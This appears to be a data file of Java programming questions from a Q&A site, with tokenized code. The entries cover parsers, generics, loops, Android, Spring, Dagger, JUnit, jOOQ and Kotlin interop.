name ; this.values = values ; } public String getName ( ) { return name ; } public String [ ] getValues ( ) { return values ; } @ Override public boolean equals ( Object paramObject ) { if ( paramObject instanceof VMFProperty ) { return ( ( VMFProperty ) paramObject ) .name.equals ( this.name ) & & ( ( VMFProperty ) paramObject ) .values.equals ( this.values ) ; } return false ; } } package net.minecraft.sourcecraftreloaded.source ; import java.util.List ; public class VMFClass { private List < VMFClass > classes ; private List < VMFProperty > properties ; private String name ; public VMFClass ( String name , List < VMFClass > classes , List < VMFProperty > properties ) { this.name = name ; this.classes = classes ; this.properties = properties ; } public String getName ( ) { return name ; } public List < VMFClass > getClasses ( ) { return classes ; } public List < VMFProperty > getProperties ( ) { return properties ; } public void add ( VMFClass vmfclass ) { classes.add ( vmfclass ) ; } public void add ( VMFProperty vmfproperty ) { properties.add ( vmfproperty ) ; } public void remove ( VMFClass vmfclass ) { classes.remove ( vmfclass ) ; } public void remove ( VMFProperty vmfproperty ) { properties.remove ( vmfproperty ) ; } @ Override public boolean equals ( Object paramObject ) { if ( paramObject instanceof VMFClass ) { return ( ( VMFClass ) paramObject ) .properties.equals ( this.properties ) & & ( ( VMFClass ) paramObject ) .classes.equals ( this.classes ) & & ( ( VMFClass ) paramObject ) .name.equals ( this.name ) ; } return false ; } } package net.minecraft.sourcecraftreloaded.source ; import java.io.File ; import java.util.ArrayList ; import java.util.List ; import net.minecraft.sourcecraftreloaded.utils.HierarchyObject ; public class VMFObject { private String rawfile = `` '' ; private List < VMFClass > toplevelclasses ; private static final String INVALID_CHARS = `` \\* , ; < > | ? = ` ´ # '+~^° ! § $ % & ( ) [ ] . : -_ '' ; public VMFObject ( List < VMFClass > toplevelclasses ) { this.toplevelclasses = toplevelclasses ; } public VMFObject ( ) { this ( new ArrayList < VMFClass > ( ) ) ; } public void write ( File file ) { VMFWriter.write ( file , rawfile ) ; } public VMFObject read ( File file ) throws VMFParsingException { this.rawfile = VMFReader.read ( file ) ; parse ( ) ; return this ; } public List < VMFClass > getClasses ( ) { return toplevelclasses ; } private void parse ( ) throws VMFParsingException { evaluate ( ) ; get ( ) ; } private void evaluate ( ) throws VMFParsingException { char [ ] textchars = rawfile.toCharArray ( ) ; int [ ] c = new int [ ] { 0 , 0 , 0 } ; int line = 0 ; int linepos = 0 ; for ( int i : textchars ) { linepos++ ; if ( textchars [ i ] == '\n ' ) { line++ ; linepos = 0 ; c [ 3 ] = 0 ; if ( c [ 3 ] % 2 ! = 0 ) { throw new VMFParsingException ( `` Invalid quotes on line '' + line + `` : '' + linepos ) ; } } if ( textchars [ i ] == ' { ' ) { c [ 1 ] ++ ; } if ( textchars [ i ] == ' } ' ) { c [ 2 ] ++ ; } if ( textchars [ i ] == ' '' ' ) { c [ 3 ] ++ ; if ( c [ 1 ] - c [ 2 ] == 0 ) { } } if ( textchars [ i ] == '/ ' & & textchars [ i + 1 ] == '/ ' ) { while ( true ) { i++ ; if ( textchars [ i ] == '\n ' ) { break ; } } } if ( textchars [ i ] == '/ ' & & textchars [ i + 1 ] == ' ' ) { throw new VMFParsingException ( `` Invalid Character '/ ' on line '' + line + `` : '' + linepos ) ; } if ( INVALID_CHARS.indexOf ( textchars [ i ] ) ! = -1 ) { throw new VMFParsingException ( `` Invalid Character ' '' + textchars [ i ] + `` ' on line '' + line + `` : '' + linepos ) ; } } if ( c [ 1 ] ! = c [ 2 ] ) { throw new VMFParsingException ( `` Unbalanced brackets in vmf File '' ) ; } } public void add ( VMFClass vmfclass ) { toplevelclasses.add ( vmfclass ) ; } private void get ( ) throws VMFParsingException { List < HierarchyObject > content = new ArrayList < > ( ) ; long curparent = -1 ; String [ ] text = rawfile.split ( `` \n '' ) ; for ( int i = 0 ; i < text.length ; i++ ) { String line = text [ i ] .trim ( ) ; if ( line.startsWith ( `` // '' ) ) { continue ; } else { byte quotec = 0 ; char [ ] linechar = line.toCharArray ( ) ; boolean readp = false ; List < String > reads = new ArrayList < > ( ) ; byte creads = 0 ; for ( int y = 0 ; y < linechar.length ; y++ ) { if ( linechar [ y ] == '/ ' & & linechar [ y + 1 ] == '/ ' ) { break ; } if ( linechar [ y ] == ' '' ' ) { quotec++ ; if ( quotec % 2 == 0 ) { readp = false ; creads++ ; } else { readp = true ; } } if ( readp ) { reads.set ( creads , reads.get ( creads ) + linechar [ y ] ) ; } if ( linechar [ y ] == ' { ' ) { HierarchyObject object = new HierarchyObject ( new VMFClass ( line.substring ( line.substring ( 0 , y ) .lastIndexOf ( ' ' ) , y ) .trim ( ) , null , null ) , curparent ) ; content.add ( object ) ; curparent = object.getUUID ( ) ; } if ( linechar [ y ] == ' } ' ) { curparent = HierarchyObject.getParentUUIDbyUUID ( curparent ) ; } } content.add ( new HierarchyObject ( new VMFProperty ( reads.remove ( 0 ) , reads.toArray ( new String [ reads.size ( ) ] ) ) , curparent ) ) ; } } buildObject ( content ) ; } private void buildObject ( List < HierarchyObject > content ) { long curUUID = -1 ; for ( int i = 0 ; i < HierarchyObject.getChildUUIDs ( curUUID ) .length ; i++ ) { HierarchyObject.getChildUUIDs ( curUUID ) ; } //TODO implement } }",Creating an Hierarchy-Object with an undefined number of childs +Java,"I often come across cases where I want to use an enchanced for-loop for some Collection or array that I get from some object.e.g.Another way to do that is : The second one is more compact and improves readability in my opinion , especially when the item variable wo n't be used anywhere else.I would like to know whether the getter in the for statement has any impact in performance . Will it be optimized to something similar to the 1st one ? Or will it access the getter every time ? Of course the getItems ( ) might do something quite slow ( e.g . network access , etc ) Question is similar to some others , but is referring to the getter of the collection/array itself and not the size of it . However , it may be the same case in the end .",items = basket.getItems ( ) ; for ( int item : items ) { // Do something } for ( int item : basket.getItems ( ) ) { // Do something },Enhanced for loop +Java,"I have found something interesting to happen with Maps , rawtypes and generics . Following code : I am getting a compilation error about a Type incompatibility , namely : `` Object can not be cast to Entry '' . Ideone for convenienceWhy is the iterator over entrySet ( ) losing the type information if there 's no variable storing it again ? The rawtypes should n't affect the type so that Map.Entry suddenly is an Object . Or am I mistaken ?",static { Map map = new HashMap ( ) ; Set < Map.Entry > set = map.entrySet ( ) ; for ( Map.Entry entry : set ) { } // fine for ( Map.Entry entry : map.entrySet ( ) ) { } // compilation error },Why am I losing type information ? +Java,"How does this compiles without error ? As my understanding , the compiler checks the type of the variable ( in this case String ) , then sees if the type of the expression on the right side corresponds to the variable 's type ( or at least a subtype but let 's stick to the simple case with the String class since it 's final ) . My question is how does str = `` hello '' compile ? Is the compiler already aware that str should be of type String ?",public class InitClass { public static void main ( String [ ] args ) { String str = ( str = `` hello '' ) ; System.out.println ( str ) ; } },Why does variable initialization of to an assignment expression [ String x = ( x = y ) ] compile ? +Java,"Per my usual , I have been working on more UIL Java practice sheets when I came across this problem : The question was `` What is the output of the following code piece ? `` My first guess was a syntax error , but the correct response is actually 55.Why is this ?",int _ = 8 ; System.out.println ( 5_5 ) ;,Wierd Syntax - Underscores between digits +Java,"I just wanted to create a little Java-Puzzle , but I puzzled myself . One part of the puzzle is : What does the following piece of code do : It outputs 9 . My ( at least partly ) wrong explanation : I 'm not quite sure , but I think the term after i += gets evaluated like this : Sois the same asThis gets evaluated from left to right ( See Pre and postincrement java evaluation ) .The first ++i increments i to 2 and returns 2 . So you have : The i++ returns 2 , as it is the new value of i , and increments i to 3 : The second ++i increments i to 4 and returns 4 : So you end up with 12 , not 9 . Where is the error in my explanation ? What would be a correct explanation ?",public class test { public static void main ( String [ ] args ) { int i = 1 ; i += ++i + i++ + ++i ; System.out.println ( `` i = `` + i ) ; } } int i = 1 ; i += ++i + i++ + ++i ; int i = 1 ; i += ( ( ++i ) + ( i++ ) ) + ( ++i ) ; i = 2 ; i += ( 2 + ( i++ ) ) + ( ++i ) ; i = 3 ; i += ( 2 + 2 ) + ++i ; i = 4 ; i += ( 2 + 2 ) + 4 ;,Pre- and postincrement in Java +Java,"I 'm fetching 3 String values from the database and then I 'm converting it to Long and then I 'm calculating a difference and then putting this calculated Long value in a method as parameter . I 'm using FastAdapter.The filterRequests ( List < Long > l ) is a method in MainActivity which do the logic of filtering requests/content based on the long l. entire adapter : The problem is that when I 'm logging log1 , I 'm getting all the 3 values shown in Logcat , but when I 'm logging log2 only the last calculated value is getting shown and that is the value using which filterRequests ( Long l ) is getting called.Update - after updating the adapter code , log1 and log2 now shows this : filterRequests ( ) method is the method in which the logic to filter content based on time is done . The parameter which goes in filterRequests ( ) is holder.diffNowsdtel which has 3 long values for now and do it should do the logic based on it.. if the long value is < =900 the content which has the long value -1007 should be shown and when long value is > 900 , the content which has the long value 2197 and 4003 should be shown.here 's the code : Log value of lng : What I want is that the filterRequests ( Long l ) method should use all the values of holder.diffNowsdtelTV.getText ( ) .toString ( ) and do the logic using them.I 'm sorry for ambiguous question . Please help me with this issue !","public class GRModelClass extends AbstractItem < GRModelClass , GRClass.ViewHolder > { private static final ViewHolderFactory < ? extends ViewHolder > FACTORY = new ItemFactory ( ) ; String postedBy , postedTime , currentLat , currentLng , utcFormatDateTime , userEmail , userID ; String startDateTimeInEpoch , endDateTimeInEpoch ; DatabaseReference primaryDBKey ; long ms ; String itemID ; public GRModelClass ( ) { } public GRModelClass ( String postedBy , String postedTime , String currentLat , String currentLng , String utcFormatDateTime , String userEmail , String userID , String startDateTimeInEpoch , String endDateTimeInEpoch , DatabaseReference primaryDBKey ) { this.postedBy = `` `` + postedBy ; this.postedTime = postedTime ; this.currentLat = currentLat ; this.currentLng = currentLng ; this.utcFormatDateTime = utcFormatDateTime ; this.userEmail = userEmail ; this.userID = userID ; this.startDateTimeInEpoch = startDateTimeInEpoch ; this.endDateTimeInEpoch = endDateTimeInEpoch ; this.primaryDBKey = primaryDBKey ; } @ Exclude public Map < String , Object > toMap ( ) { HashMap < String , Object > result = new HashMap < > ( ) ; result.put ( `` pBy '' , postedBy ) ; result.put ( `` cLat '' , currentLat ) ; result.put ( `` cLng '' , currentLng ) ; result.put ( `` utcFormatDateTime '' , utcFormatDateTime ) ; result.put ( `` userEmail '' , userEmail ) ; result.put ( `` userID '' , userID ) ; result.put ( `` startDateTime '' , startDateTimeInEpoch ) ; result.put ( `` endDateTime '' , endDateTimeInEpoch ) ; return result ; } @ Override public int getType ( ) { return R.id.recycler_view ; } @ Override public int getLayoutRes ( ) { return R.layout.sr_layout ; } @ Override public void bindView ( final ViewHolder holder , List list ) { super.bindView ( holder , list ) ; holder.postedBy.setText ( postedBy ) ; holder.postedBy.setTypeface ( null , Typeface.BOLD ) ; holder.startDateTimeInEpoch.setText ( startDateTimeInEpoch ) ; holder.startDateTimeInEpoch.setVisibility ( View.INVISIBLE ) ; holder.endDateTimeInEpoch.setText ( endDateTimeInEpoch ) ; holder.endDateTimeInEpoch.setVisibility ( View.INVISIBLE ) ; MainActivity.filterButton.setOnMenuItemClickListener ( new MenuItem.OnMenuItemClickListener ( ) { @ Override public boolean onMenuItemClick ( MenuItem menuItem ) { holder.geoQuery = holder.geoFireReference.queryAtLocation ( new GeoLocation ( holder.currentLatDouble , holder.currentLngDouble ) , 5 ) ; holder.geoQuery.addGeoQueryEventListener ( new GeoQueryEventListener ( ) { @ Override public void onKeyEntered ( String key , GeoLocation location ) { primaryDBKey.child ( key ) .child ( `` startDateTimeInEpoch '' ) .addListenerForSingleValueEvent ( new ValueEventListener ( ) { @ Override public void onDataChange ( DataSnapshot dataSnapshot ) { if ( dataSnapshot.getValue ( ) ! = null ) { holder.startTimeDateInEpochLong2 = Long.parseLong ( dataSnapshot.getValue ( ) .toString ( ) ) ; holder.now = System.currentTimeMillis ( ) / 1000 ; holder.diffNowsdtel.add ( holder.startTimeDateInEpochLong2 - holder.now ) ; Log.d ( `` log1 '' , String.valueOf ( holder.diffNowsdtel ) ) ; Handler handler = new Handler ( ) ; handler.postDelayed ( new Runnable ( ) { @ Override public void run ( ) { if ( holder.mContext instanceof MainActivity ) { ( ( MainActivity ) holder.mContext ) .filterRequests ( holder.diffNowsdtel ) ; Log.d ( `` log2 '' , String.valueOf ( holder.diffNowsdtel ) ) ; } } } , 1500 ) ; } } @ Override public void onCancelled ( DatabaseError databaseError ) { } } ) ; } @ Override public void onKeyExited ( String key ) { } @ Override public void onKeyMoved ( String key , GeoLocation location ) { } @ Override public void onGeoQueryReady ( ) { } @ Override public void onGeoQueryError ( DatabaseError error ) { } } ) ; return true ; } } ) ; } /** * our ItemFactory implementation which creates the ViewHolder for our adapter . * It is highly recommended to implement a ViewHolderFactory as it is 0-1ms faster for ViewHolder creation , * and it is also many many timesa more efficient if you define custom listeners on views within your item . */ protected static class ItemFactory implements ViewHolderFactory < ViewHolder > { public ViewHolder create ( View v ) { return new ViewHolder ( v ) ; } } /** * return our ViewHolderFactory implementation here * * @ return */ @ Override public ViewHolderFactory < ? extends ViewHolder > getFactory ( ) { return FACTORY ; } // Manually create the ViewHolder class protected static class ViewHolder extends RecyclerView.ViewHolder { TextView postedBy , userID , currentLt , currentLn , requestID , postedFrom ; TextView startDateTimeInEpoch , endDateTimeInEpoch , diffNowsdtelTV ; LinearLayout linearLayout ; long difference , differenceCurrentStartTime , handlerGap ; long startTimeDateInEpochLong2 ; public static long now ; List < Long > diffNowsdtel ; Context mContext ; DatabaseReference firebaseDatabase ; GeoFire geoFireReference ; GeoQuery geoQuery ; public ViewHolder ( final View itemView ) { super ( itemView ) ; postedBy = ( TextView ) itemView.findViewById ( R.id.postedBy ) ; startDateTimeInEpoch = ( TextView ) itemView.findViewById ( R.id.startTimeDateInEpoch ) ; endDateTimeInEpoch = ( TextView ) itemView.findViewById ( R.id.endTimeDateInEpoch ) ; diffNowsdtelTV = ( TextView ) itemView.findViewById ( R.id.diffNowsdtelTV ) ; this.mContext = itemView.getContext ( ) ; private boolean isNetworkAvailable ( ) { ConnectivityManager connectivityManager = ( ConnectivityManager ) itemView.getContext ( ) .getSystemService ( Context.CONNECTIVITY_SERVICE ) ; NetworkInfo activeNetworkInfo = connectivityManager.getActiveNetworkInfo ( ) ; return activeNetworkInfo ! = null & & activeNetworkInfo.isConnected ( ) ; } } } D/log1 : [ 2197 ] D/log1 : [ 2197 , -1007 ] D/log1 : [ 2197 , -1007 , 4003 ] D/log2 : [ 2197 , -1007 , 4003 ] public void filterRequests ( final List < Long > l ) { final int size = l.size ( ) ; Log.d ( `` lng '' , String.valueOf ( l ) ) ; if ( isNetworkAvailable ( ) ) { if ( chkBoxLiveRqsts.isChecked ( ) ) { firebaseDatabase.child ( key ) .addValueEventListener ( new ValueEventListener ( ) { @ Override public void onDataChange ( DataSnapshot dataSnapshot ) { if ( dataSnapshot.getValue ( ) ! = null ) { for ( int i = 0 ; i < size ; i++ ) { if ( l.get ( i ) < = 900 ) { ... } else { } } progressDialogAdding.dismiss ( ) ; } else { } } @ Override public void onCancelled ( DatabaseError databaseError ) { } } ) ; } ... } ) ; } else if ( chkBoxSFLRqsts.isChecked ( ) ) { fastItemAdapter.clear ( ) ; firebaseDatabase.child ( key ) .addValueEventListener ( new ValueEventListener ( ) { @ Override public void onDataChange ( DataSnapshot dataSnapshot ) { if ( dataSnapshot.getValue ( ) ! = null ) { for ( int i = 0 ; i < size ; i++ ) { if ( l.get ( i ) > 900 ) { ... } else { } } progressDialogAdding.dismiss ( ) ; } else { } } @ Override public void onCancelled ( DatabaseError databaseError ) { } } ) ; } ... } } else { Snackbar snackbar = Snackbar .make ( coordinatorLayout , `` No internet connection '' , Snackbar.LENGTH_SHORT ) ; snackbar.show ( ) ; progressDialogAdding.dismiss ( ) ; } } } ) ; dialog = builder.create ( ) ; dialog.show ( ) ; } D/lng : [ 2197 , -1007 , 4003 ]",How to get a method called with different parameters ? +Java,This is my implementation of the equals class for a Coor class which is just contains 2 ints x and y. would this be the proper way of implementing this method ?,public boolean equals ( Object obj ) { if ( obj == null || obj.getClass ( ) ! = this.getClass ( ) ) { return false ; } Coor temp = ( Coor ) obj ; if ( temp.x == this.x & & temp.y == this.y ) { return true ; } else { return false ; } },Implementing the equals method in java +Java,"i 've hit a brick wall while trying to construct types that depend on each other , here is the code : its impossible to intantiate this class , as i get this exceptionobviously classType is not yet intantiated at the point createStudentType ( ) is referencing it . How to i get around this problem ?",import graphql.schema.GraphQLObjectType ; import static graphql.schema.GraphQLObjectType.newObject ; import static graphql.Scalars . * ; import graphql.schema.GraphQLFieldDefinition ; import graphql.schema.GraphQLList ; import static graphql.schema.GraphQLFieldDefinition.newFieldDefinition ; public class GraphQLTypes { private GraphQLObjectType studentType ; private GraphQLObjectType classType ; public GraphQLTypes ( ) { createStudentType ( ) ; createClassType ( ) ; } void createStudentType ( ) { studentType = newObject ( ) .name ( `` Student '' ) .field ( newFieldDefinition ( ) .name ( `` name '' ) .type ( GraphQLString ) .build ( ) ) .field ( newFieldDefinition ( ) .name ( `` currentClass '' ) .type ( classType ) .build ( ) ) .build ( ) ; } void createClassType ( ) { classType = newObject ( ) .name ( `` Class '' ) .field ( newFieldDefinition ( ) .name ( `` name '' ) .type ( GraphQLString ) .build ( ) ) .field ( newFieldDefinition ( ) .name ( `` students '' ) .type ( new GraphQLList ( studentType ) ) .build ( ) ) .build ( ) ; } } Caused by : graphql.AssertException : type ca n't be nullat graphql.Assert.assertNotNull ( Assert.java:10 ) at graphql.schema.GraphQLFieldDefinition. < init > ( GraphQLFieldDefinition.java:23 ) at graphql.schema.GraphQLFieldDefinition $ Builder.build ( GraphQLFieldDefinition.java:152 ) at graphql_types.GraphQLTypes.createStudentType ( GraphQLTypes.java:26 ) at graphql_types.GraphQLTypes. < init > ( GraphQLTypes.java:19 ),graphql-java cyclic types dependencies +Java,"I 'm writing Espresso tests for an app written using Conductor . I 'd like to specify which controller to start for each test , so that I do n't need to get Espresso to click through the app from the beginning Activity for each . Since there is only one Activity and not much on SO or google about Conductor the closest I could find was this question ? Or is this not possible ? I 've tried making the router static and adding a getter in an attempt to set a specific root for testing with no success . android.view.ViewRootImpl $ CalledFromWrongThreadException : Only the original thread that created a view hierarchy can touch its views.In MainActivity : In Instrumentation Test :",public static Router getRouter ( ) { return router ; } @ Rulepublic ActivityTestRule < MainActivity > testRule = new ActivityTestRule < > ( MainActivity.class ) ; @ Beforepublic void setUp ( ) { Router router = testRule.getActivity ( ) .getRouter ( ) ; router.setRoot ( RouterTransaction.with ( new ControllerIwantToTest ( ) ) ) ; } @ Testpublic void titleIsDisplayed ( ) { onView ( withText ( `` My Controllers Title '' ) ) .check ( matches ( isDisplayed ( ) ) ) ; },Start specific conductor controller in ( Espresso ) Android instrumentation test +Java,"I have a HashMap < Integer , Float > with entries : Let suppose that I want the key to the Float 0.465 ( which is not an existing value ) . 0.465 is between 0.447 and 0.487 , so I would like to get the key 10.The first thought that came in my mind was achive this with 15 if/else if statements or with the switch statement . But in my view , this would n't be very elegant and practical.Is there any other way to do this ?",1 - > 0.127 2 - > 0.167 3 - > 0.207 4 - > 0.247 5 - > 0.237 6 - > 0.327 7 - > 0.367 8 - > 0.407 9 - > 0.44710 - > 0.48711 - > 0.52712 - > 0.56713 - > 0.60714 - > 0.64715 - > 0.652,Obtain key of a hashmap with a range of numbers as value +Java,"I have a JUnit 5 test class written in Java that uses a field annotated as @ RegisterExtension , and it works just fine : When I convert it to Kotlin : Now the LoggingExtension does n't run any more . Why ?",class RegisterExtensionTest { @ RegisterExtension LoggingExtension log = new LoggingExtension ( RegisterExtensionTest.class ) ; @ Test void demoTest ( ) { ... } } class RegisterExtensionTest { @ RegisterExtension var log = LoggingExtension ( RegisterExtensionTest : :class.java ) @ Test fun demoTest ( ) { ... } },JUnit 5 test with a field annotated as ` @ RegisterExtension ` does n't work in Kotlin +Java,"Inside a module , if I need to provide a different implementation of an interface based on a variable known at module construction time I can put the logic inside the @ Provides method for that interface type . Like so : However , these implementations could be created by Dagger . I would rather say `` Hey , based on X I want you to instantiate this class for me '' I have considered a couple of options.Change the provides method to take in all of the possible implementations : This allows Dagger to instantiate them and satisfy all of their dependencies but it 's not a good idea if each of the implementations is relatively large or expensive to create.Change the provides method to take in a collection of all of the dependencies for the different implementations.This is slightly better than option 1 in that Dagger does n't have to instantiate every single implementation , however it still needs to instantiate all of the dependencies even though they might not be used in all cases . I 'm also back to creating the objects myself even though they could be created by Dagger.Create one module per implementation and instantiate the appropriate module . So something like : This would be fine , but now I have issues defining the component that depends on the module.What 's the best way to tackle this problem ? One suggestion has been to try option 1 with the parameters wrapped in Lazy . Then I only end up calling .get ( ) on one . I 'll try this out when I can and post the results","@ Modulepublic class FooModule { private final State state ; public FooModule ( State state ) { this.state = state ; } @ Provides FooInterface provideFooImplementation ( ) { switch ( state ) { case STATE_1 : return new FooImpl1 ( ) ; case STATE_2 : return new FooImpl2 ( ) ; ... case STATE_10 : return new FooImpl10 ( ) ; } } } @ ProvidesFooInterface provideFooImplementation ( FooImpl1 impl1 , FooImpl2 imp2 , ... , FooImpl10 impl10 ) { switch ( state ) { case STATE_1 : return impl1 ; case STATE_2 : return impl2 ; ... case STATE_10 : return impl10 ; } } @ ProvidesFooInterface provideFooImplementation ( Context context , Repo repo , HttpClient httpClient , ... ) { switch ( state ) { case STATE_1 : return new FooImpl1 ( context ) ; case STATE_2 : return new FooImpl2 ( repo , httpClient ) ; ... case STATE_10 : return new FooImpl10 ( context , repo ) ; } } @ Modulepublic FooImpl1Module { @ Provides FooInterface provideFooImplementation ( Context context ) { return new FooImpl1 ( context ) ; } }",How do I tell Dagger 2 which implementation to instantiate based on X ? +Java,"I am writing a Kotlin library . In one of the classes , I have the following : However , updateExpiry ( long ) has a behaviour which should be transparent to the clients of SessionWrapper , if they modify expiryTime ( i.e . call the setter ) .Now , for Kotlin projects , this would n't be an issue , since I can just add the extra KDoc to the expiryTime property itself , and it would n't feel out of place : But for Java projects , the documentation above would appear for both setExpiryTime ( long ) and getExpiryTime ( ) , which feels off because I would have setter JavaDoc in the getter , and getter JavaDoc in the setter.Trying to separate the documentation for the two accessors , in Kotlin , in the following way : just shows no JavaDoc in the IDE , for both Kotlin & Java code.I found no clear way of trying to separate the docs for Java-visible getters & setters in the KDoc reference or the Java interop page . I find this pretty annoying , given Kotlin 's good interop with Java.Would appreciate any ideas .","class SessionWrapper { /** * The time in milliseconds after which the session will expire . */ var expiryTime = DEFAULT_EXPIRY_TIME get ( ) { mainThreadCheck ( ) return field } set ( value ) { mainThreadCheck ( ) field = value updateExpiry ( value ) < < < THIS ONE } ... } /** * The time in milliseconds after which the session will expire . * * Updating the expiry time after the session is started does x , * the listeners will receive y . * * Writing comments is fun , when the tools work . */ var expiryTime = DEFAULT_EXPIRY_TIME class SomeClass { var expiryTime = DEFAULT_EXPIRY_TIME /** * The time in milliseconds after which the session will expire . */ get ( ) { mainThreadCheck ( ) return field } /** * Updating the expiry time after the session is started does x , * the listeners will receive y . * * Writing comments is fun , when the tools work . */ set ( value ) { mainThreadCheck ( ) field = value updateExpiry ( value ) } ... }",Kotlin : Documentation for property setter +Java,"Background : I 'm using jOOQ to access a Firebird Database . Firebird 2.x has a row size limit of 64KB . I never hit the limit before , but this particular database uses UTF8 which means the limit shrunk to around 16K characters . This is how I 'm using jOOQ : Load or Create a POJO ( generated ) as needed . e.g . : Use the book object as needed.Store it back as a record if user saves changes.Step 3 fails on the executeUpdate ( ) method because somehow jOOQ is casting all the empty VARCHAR fields to VARCHAR ( 4000 ) . The error message is `` SQL error code = -204 . Implementation limit exceeded . block size exceeds implementation restriction '' .This is a known Firebird limitation and nothing can be done about it unfortunately . In the table I have around 8 empty VARCHAR ( 512 ) fields , which is supposed to be around 8x4x512 ( or 16KB ) max in UTF8 , but since jOOQ 's interpreting it as VARCHAR ( 4000 ) , that 's 8x4x4000 ( 128KB ) which is obviously over the limit . If I set the NULL or empty fields to some random string , then jOOQ will cast it to the exact string length . ( `` ABC '' will get cast to varchar ( 3 ) ) So my question is : How do I get executeUpdate ( ) to work without jOOQ casting my null fields to VARCHAR ( 4000 ) ?","Book book = context.fetchOne ( `` select * from book where book_id = ? `` , 1 ) .into ( Book.class ) ; BookRecord rec = context.newRecord ( Tables.BOOK , book ) ; context.executeUpdate ( rec ) ;",JOOQ & Firebird - Implementation Limit Exceeded +Java,"I have a single thread pool ExecutorService object . At some time in the future tasks are added to be done using the submit ( ) method . My understanding is that submit will submit add the submitted Runnable to the end of the list of tasks to be done . However I have a situation where based on a boolean I may want to submit the runnable to the front of the tasks to be executed . I do n't want this to affect the current task , just that the next task done will be the one I just gave it . An example method is reproduced below . How do I do this ? Thanks","private ExecutorService singleLoadPool = Executors.newSingleThreadExecutor ( ) ; public void submitTask ( Runnable run , boolean doNow ) { if ( doNow ) singleLoadPool.submitFront ( run ) ; // This is the method I 'm looking for else singleLoadPool.submit ( run ) ; }",Java interject Runnable objects into ExecutorService +Java,"I have a Spring test-configuration class which is supposed to override an existing in bean in xml-config . But my problem is that the xml bean overrides the bean annotated with primary in my test-config . I have tried naming the test-bean with a different name but that has not worked for me either.Here is the relevant xml config : This is the log output . When running the test : As you can see my primary bean in the test-configuration is overridden and I want to use my test-config bean in the test.I am using Spring 4.3.x.I 've read a lot of related posts , but none of the gave me the answer . Any help would be appreciated .","@ RunWith ( SpringJUnit4ClassRunner.class ) @ ContextConfiguration ( classes = { CamelJmsTest.TestConfig.class } ) public class CamelJmsTest { @ Configuration @ ImportResource ( `` classpath : production-beans-camel-jms.xml '' ) public static class TestConfig { @ Primary @ Bean public JmsTemplate jmsTemplate ( ) { return new JmsTemplate ( new ActiveMQConnectionFactory ( `` '' , `` '' , ACTIVE_MQ_HOST ) ) ; } @ Primary @ Bean // ideally i just want this bean to override the bean imported from the xml config public RouteConfigBuilder routeConfig ( ) { return RouteConfigBuilder.builder ( ) .autoStart ( true ) .build ( ) ; } @ Primary @ Bean public RouteBuilder routeBuilder ( @ Value ( `` $ { amq.endpoint } '' ) String endpoint , @ Autowired Processor processor ) { return new RouteBuilder ( routeConfig ( ) , `` '' , endpoint , processor ) ; } } private static final String ACTIVE_MQ_HOST = `` vm : //activeMQ '' ; @ BeforeClass public static void setActiveMQ ( ) { System.setProperty ( `` amq.endpoint '' , ACTIVE_MQ_HOST ) ; } @ Autowired JmsTemplate jmsTemplate ; @ Test public void postJmsMessage ( ) { jmsTemplate.send ( `` queue/test '' , new MessageCreator ( ) { @ Override public Message createMessage ( Session session ) throws JMSException { return session.createTextMessage ( `` Hello World '' ) ; } } ) ; try { for ( int i = 0 ; i < 100 ; i++ ) { Thread.sleep ( 100 ) ; } } catch ( Exception ignored ) { } } } < bean id= '' routeConfig '' class= '' routing.RouteConfigBuilder '' init-method= '' builder '' > < constructor-arg name= '' redeliveryDelay '' value= '' $ { < props > .redeliveryDelay } '' / > < constructor-arg name= '' maximumRedeliveries '' value= '' $ { < props > .maximumRedeliveries } '' / > < constructor-arg name= '' autoStart '' value= '' false '' / > < /bean > < bean id= '' routeBuilder '' class= '' routing.RouteBuilder '' > < constructor-arg ref= '' routeConfig '' / > < constructor-arg name= '' routeId '' value= '' ROUTE_ID_1 '' / > < constructor-arg name= '' endpoint '' value= '' $ { amq.endpoint } '' / > < constructor-arg name= '' processor '' ref= '' myProcessor '' / > < /bean > Overriding bean definition for bean 'routeConfig ' with a different definition : replacing [ Root bean : class [ null ] ; scope= ; abstract=false ; lazyInit=false ; autowireMode=3 ; dependencyCheck=0 ; autowireCandidate=true ; primary=true ; factoryBeanName=CamelJmsTest.TestConfig ; factoryMethodName=routeConfig ; initMethodName=null ; destroyMethodName= ( inferred ) ; defined in CamelJmsTest ] with [ Generic bean : class [ RouteConfigBuilder ] ; scope= ; abstract=false ; lazyInit=false ; autowireMode=0 ; dependencyCheck=0 ; autowireCandidate=true ; primary=false ; factoryBeanName=null ; factoryMethodName=null ; initMethodName=builder ; destroyMethodName=null ; defined in class path resource [ production-beans-camel-jms.xml.xml ] ]",Primary spring bean overridden by ImportResource in Configuration +Java,"The method generic type K shadows the class generic type K , so < K > does n't match < K extends Number > in use1 ( ) .The compiler does n't know anything usefull about new generic type < K > in use2 ( ) and use3 ( ) but it is still legal to compile . Why < ? extends K > ( or < ? super K > ) match < K extends Number > ?",abstract class Type < K extends Number > { abstract < K > void use1 ( Type < K > k ) ; // Compiler error ( Type parameter K is not within its bounds ) abstract < K > void use2 ( Type < ? extends K > k ) ; // fine abstract < K > void use3 ( Type < ? super K > k ) ; // fine },Java Generics . Why does it compile ? +Java,"Lets say I have a module where I only want to export an instance of A . However this A requires instances of Band C to be passed in the constructor . So we would declare them as well in the module : This works , but now B and C are also available elsewhere in the code . I want to keep them private and force client classes to only have access to A.Is there a way to achieve this ?","public class SampleModule { @ Provides @ Singleton A provideA ( B b , C c ) { return new A ( b , c ) ; } @ Provides @ Singleton B provideB ( ) { return new B ( ) ; } @ Provides @ Singleton C provideC ( ) { return new C ( ) ; } }",Dagger 2 : avoid exporting private dependencies +Java,"I found the article `` Avoiding memory leaks '' , where it is said that the following code : is not a good idea , since : When the screen orientation changes the system will , by default , destroy the current activity and create a new one while preserving its state . In doing so , Android will reload the application 's UI from the resources.So the above code : ... leaks the first activity created upon the first screen orientation change . When a Drawable is attached to a view , the view is set as a callback on the drawable . In the code snippet above , this means the drawable has a reference to the TextView which itself has a reference to the activity ( the Context ) which in turns has references to pretty much anything ( depending on your code . ) But , when screen orientation changes , the method setBackgroundDrawable ( Drawable background ) is called , which in turn calls : The method Drawable.setCallback ( ) is definied in the following way : So , now background should release the old reference to the previous TextView , and a new reference to the new TextView should be created . So , it seems like changing screen orientation leaks a reference only until the activity is newly created . Where am I going wrong ?",private static Drawable sBackground ; @ Overrideprotected void onCreate ( Bundle state ) { super.onCreate ( state ) ; TextView label = new TextView ( this ) ; label.setText ( `` Leaks are bad '' ) ; if ( sBackground == null ) { sBackground = getDrawable ( R.drawable.large_bitmap ) ; } label.setBackgroundDrawable ( sBackground ) ; 